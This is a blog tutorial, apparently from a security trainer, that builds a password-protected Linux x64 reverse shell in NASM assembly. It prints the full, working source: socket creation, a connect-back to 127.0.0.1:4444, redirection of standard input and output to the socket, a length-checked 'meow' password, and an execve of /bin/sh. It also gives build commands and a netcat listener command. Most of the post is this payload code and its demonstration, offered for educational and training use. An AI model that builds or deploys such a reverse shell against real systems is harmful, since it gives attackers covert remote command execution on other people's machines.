10 minute read

Hello, cybersecurity enthusiasts and white hackers!

malware

This post is based on an exercise for my students and readers.

Today, we’re building a Linux/x64 reverse shell in NASM that gets it right. We’ll walk through the process of establishing a connection, handling I/O, and implementing a truly robust password check that isn’t fooled by common tricks. This shell will connect back to 127.0.0.1:4444 and use the password “meow”.

practical example

Let’s dive in.

In general, what we need? The entire dialogue (password request -> password entry -> shell acquisition) occurs remotely, over the network. This is the purpose of a password-based reverse shell.

First, we need to get on the network. This is a standard three-step process: socket, connect, and dup2:

// socket syscall
int sockfd = socket(AF_INET, SOCK_STREAM, 0);

// connect syscall
connect(sockfd, (struct sockadr *)&addr, sizeof(addr));

for (int i = 0; i < 3; i++) {
  // dup2(sockftd, 0) - stdin
  // dup2(sockfd, 1) - stdout
  // dup2(sockfd, 2) - stderr
  dup2(sockfd, i);
}

We start by creating a standard TCP socket using the socket syscall (number 41). Nothing fancy here, just a clean setup for an IPv4 connection. The file descriptor for our new socket is returned in rax, which we immediately save in rdi for the next calls:

; create socket(AF_INET, SOCK_STREAM, 0)
    xor     rsi, rsi
    mul     rsi
    mov     al, 41                 ; syscall socket
    mov     rdi, 2                 ; AF_INET
    mov     rsi, 1                 ; SOCK_STREAM
    syscall
    mov     rdi, rax               ; save sockfd in rdi

Next, we connect back to our listener. We build the sockaddr_in structure directly on the stack - it’s clean and avoids null bytes. We’re pointing it to 127.0.0.1 (0x0100007f) on port 4444 (0x5c11). With the arguments ready, we fire the connect syscall (number 42):

; connect(sockfd, &addr, sizeof(addr))
    xor     rax, rax
    push    rax                     ; 8 bytes of zero (padding)
    push    dword 0x0100007f        ; IP address 127.0.0.1
    push    word 0x5c11             ; port 4444
    push    word 2                  ; AF_INET
    mov     rsi, rsp                ; rsi points to the structure
    mov     rdx, 16                 ; size of structure
    mov     al, 42                  ; syscall connect
    syscall

With a connection established, we need to make it interactive. We hijack the standard I/O streams (stdin, stdout, stderr) by duplicating our socket’s file descriptor (still in rdi) into file descriptors 0, 1, and 2. A simple loop with the dup2 syscall (number 33) handles this. Now, anything the shell tries to read or write will go through our socket:

; duplicate file descriptors (stdin, stdout, stderr) to socket
    xor     rsi, rsi                ; starting with new_fd = 0 (stdin)
.dup_loop:
    mov     al, 33                  ; syscall dup2
    syscall
    inc     rsi                     ; next descriptor
    cmp     rsi, 3
    jne     .dup_loop

At the next step, we need a truly robust password check. This is where most password-protected shellcode fails. It’s easy to check if a password starts with the right string, but that leaves the door open for command injection. We need to validate the input precisely.

What common mistake am I referring to? There is one very important nuance. It would seem that the logic of the password check is quite simple (in fact, I often come across this option on the Internet):

; read the 4-byte password input
  xor     rdi, rdi                ; clear rdi (file descriptor = 0 for stdin)
  push    rdi                     ; push 0 onto the stack
  mul     rdi                     ; multiply (does nothing here, just clears rdx)
  mov     rsi, rsp                ; rsi points to the buffer for the password
  add     rdx, 0x04               ; set rdx to 4 (password length)
  syscall                         ; make the syscall (read) to get user input

  ; compare input to "meow"
  mov     rdi, rsp                ; rdi points to the user input
  mov     rsi, 0x776f656d         ; "meow" in little-endian
  push    rsi                     ; push "meow" onto the stack
  mov     rsi, rsp                ; rsi points to the stored "meow" string
  xor     rcx, rcx                ; clear rcx (length counter)
  mov     cl, 0x04                ; set cl to 4 (password length)
  repe cmpsb                      ; compare the input with "meow"
  jz      .welcome                ; if they match, jump to welcome message

Looks correct. But, this logic reads exactly 4 bytes (add rdx, 0x04). When you type meowls and press Enter, the string meowls\n appears in the network buffer.

The read system call takes the first 4 bytes (meow) and places them in the buffer.

The cmpsb repe comparison checks these 4 bytes, sees that they match "meow," and successfully advances to .welcome.

The rest of the string (ls\n) remains in the network buffer.

When /bin/sh starts, it inherits the socket as its standard input (stdin). The first thing it does is read a command from stdin. It reads the remaining ls\n and attempts to execute the command! This is a command injection vulnerability!

So we will note this when checking.

First, we send the "password?\n" prompt down the wire using the write syscall.

; print "password?\n" (working version)
    xor     rax, rax
    push    rax
    mov     rax, 0x64726f7773736170  ; "password"
    push    rax
    mov     word [rsp+8], 0x0a3f    ; "?\n"
    mov     rsi, rsp
    mov     rax, 1
    mov     rdi, 1
    mov     rdx, 10
    syscall
    add     rsp, 16                 ; clean the stack

Now, we read the user’s response. The key here is to read more than we expect. We ask for up to 128 bytes. This ensures that if the user types meowls, we read the entire string, not just the first few bytes.

; read user input
    xor     rax, rax
    xor     rdi, rdi
    mov     rsi, rsp                ; read into stack
    mov     rdx, 128
    syscall

Here comes the core of our robust check. It’s a two-step verification process.

First, we check the length. The read syscall helpfully returns the number of bytes it actually read into the rax register. If the user correctly typed meow and hit Enter, read will have received 5 bytes (m-e-o-w-\n). We check for this exact value. Anything else - shorter or longer - is an immediate failure. This single check defeats all command injection attempts.

; check length of entered string.
    cmp     rax, 5                  ; read() returns byte count in RAX
    jne     .incorrect_password     ; if not 5, password is wrong

Second, only if the length is correct, we check the content. We use a simple, direct, and foolproof method: byte-by-byte comparison. No complex instructions that can fail in subtle ways. We just check if the first byte is m, the second is e, and so on. If any check fails, we jump to the exit routine.

; compare the first 4 bytes to "meow"
    mov     rdi, rsp                ; pointer to user input
    cmp     byte [rdi], 'm'
    jne     .incorrect_password

    cmp     byte [rdi+1], 'e'
    jne     .incorrect_password

    cmp     byte [rdi+2], 'o'
    jne     .incorrect_password

    cmp     byte [rdi+3], 'w'
    jne     .incorrect_password

If both length and content checks pass, we know the password is correct, and we can grant access.

After a successful authentication, we send a quick "welcome\n" message and then use the execve syscall (number 59) to spawn /bin/sh. Because we already hijacked the I/O streams, this new shell is automatically hooked up to our network socket.

.welcome:
; print welcome and shell
    mov     rax, 0x0a656d6f636c6577 ; "welcome\n"
    push    rax
    ...
    syscall
    add     rsp, 8

; execve("/bin/sh", NULL, NULL)
    ...
    mov     al, 59
    syscall

And that’s it. A clean, reliable, and secure password-protected reverse shell.

So, finally, full source code looks like this (hack.asm):

; password protected
; linux/x64 reverse shell 
; password: "meow", connects to 127.0.0.1:4444
; author: @cocomelonc for DEFCON training

section .text
    global _start

_start:
; create socket(AF_INET, SOCK_STREAM, 0)
    xor     rsi, rsi               ; clear rsi (protocol = IPPROTO_IP = 0)
    mul     rsi                    ; multiply rsi by rsi, clearing rdx and rax (does nothing)
    mov     al, 41                 ; syscall socket
    mov     rdi, 2                 ; AF_INET (address family)
    mov     rsi, 1                 ; SOCK_STREAM (socket type)
    syscall                       ; make the syscall (socket)
    ; rax now contains sockfd. saving it to rdi,
    ; because this is the first argument for connect and dup2.
    mov     rdi, rax

; connect(sockfd, &addr, sizeof(addr))
    xor     rax, rax
    push    rax                     ; 8 bytes of zero (padding)
    push    dword 0x0100007f        ; IP address 127.0.0.1
    push    word 0x5c11             ; port 4444 in big-endian
    push    word 2                  ; AF_INET (address family)
    mov     rsi, rsp                ; rsi points to the sockaddr_in structure
    mov     rdx, 16                 ; size of sockaddr_in structure
    mov     al, 42                  ; syscall connect
    syscall                         ; make syscall to connect (connect(sockfd, &addr, addrlen))

; duplicate file descriptors (stdin, stdout, stderr) to socket
    xor     rsi, rsi                ; starting with new_fd = 0 (stdin)
.dup_loop:
    mov     al, 33                  ; syscall dup2
    syscall                         ; make syscall to duplicate the fd
    inc     rsi                     ; move to the next file descriptor (stdout, then stderr)
    cmp     rsi, 3                  ; if rsi == 3, all descriptors are done
    jne     .dup_loop               ; otherwise, repeat for next file descriptor

; check password
.prompt:
; print "password?\n" (working version)
    xor     rax, rax
    push    rax
    mov     rax, 0x64726f7773736170  ; "password"
    push    rax
    mov     word [rsp+8], 0x0a3f    ; "?\n"
    mov     rsi, rsp
    mov     rax, 1
    mov     rdi, 1
    mov     rdx, 10
    syscall
    add     rsp, 16                 ; clean the stack

; read user input (we read more than needed to capture extra symbols)
    xor     rax, rax
    xor     rdi, rdi
    mov     rsi, rsp                ; read into stack
    mov     rdx, 128                ; read up to 128 bytes, we care about the result in RAX
    syscall

; check length of entered string.
; if user entered 'meow' and pressed Enter, read will return 5 (4 chars + '\n').
; we need to reject anything that is not 5.
    cmp     rax, 5                  ; syscall read() returns the number of bytes read in RAX
    jne     .incorrect_password     ; if it's not 5, password is wrong (too short or too long)

; compare the first 4 bytes to "meow" ("dirty" stupid method)
    mov     rdi, rsp                ; pointer to user input
    mov     rsi, 0x776f656d         ; "meow"
    cmp     byte [rdi], 'm'         ; compare first byte
    jne     .incorrect_password     ; if not 'm', exit

    cmp     byte [rdi+1], 'e'       ; compare second byte
    jne     .incorrect_password     ; if not 'e', exit

    cmp     byte [rdi+2], 'o'       ; compare third byte
    jne     .incorrect_password     ; if not 'o', exit

    cmp     byte [rdi+3], 'w'       ; compare fourth byte
    jne     .incorrect_password     ; if not 'w', exit

; if length and content are both correct, go to welcome message
    jmp     .welcome

.incorrect_password:
    mov     al, 60
    xor     rdi, rdi
    syscall

.welcome:
; print welcome and shell
    mov     rax, 0x0a656d6f636c6577 ; "welcome\n" in little-endian
    push    rax
    mov     rsi, rsp
    mov     rax, 1                  ; syscall number for write
    mov     rdi, 1                  ; file descriptor for stdout
    mov     rdx, 8                  ; length of the string
    syscall                         ; make the syscall (write) to send the string to stdout
    add     rsp, 8                  ; clean up the stack

; execve("/bin/sh", NULL, NULL)
    xor     rsi, rsi                ; clear rsi (null for argv[])
    mul     rsi                     ; multiply (clears rdx)
    push    rsi                     ; push null
    mov     rdi, 0x68732f6e69622f   ; "/bin/sh"
    push    rdi                     ; push "/bin/sh" onto the stack
    mov     rdi, rsp                ; rdi points to the "/bin/sh" string
    mov     al, 59                  ; syscall number for execve
    syscall                         ; make the syscall (execve) to start the shell

; safe exit
    mov     al, 60                  ; syscall number for exit
    xor     rdi, rdi                ; clear rdi (exit status 0)
    syscall                         ; make the syscall (exit)

demo

Let’s go to see everything in action. First, compile and link the code:

nasm -f elf64 -o hack.o hack.asm

malware {:class=”img-responsive”}

Then link the object file with ld:

ld -o hack hack.o

malware

In one terminal, start your listener:

nc -nvlp 4444

malware

In another terminal, execute the payload:

./hack

malware

First, let’s try an incorrect password:

malware

As you can see, the connection closed immediately.

Now, let’s try the correct password:

malware

As you can see, after entering “meow”, we are granted access to a shell.

What about if password is too long (the injection attempt)?

malware

Connection closes immediately. Our length check worked.

Everything worked as expected! Perfect! =^..^=

final words

Building shellcode in assembly is an exercise in precision. As we’ve seen, something as simple as a password check has multiple failure points. By validating the input length before checking the content, we build a much more secure and reliable payload. This two-step verification is a powerful technique to remember for any kind of input validation at a low level.

reverse shells
linux shellcoding examples
linux x64 syscall table
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine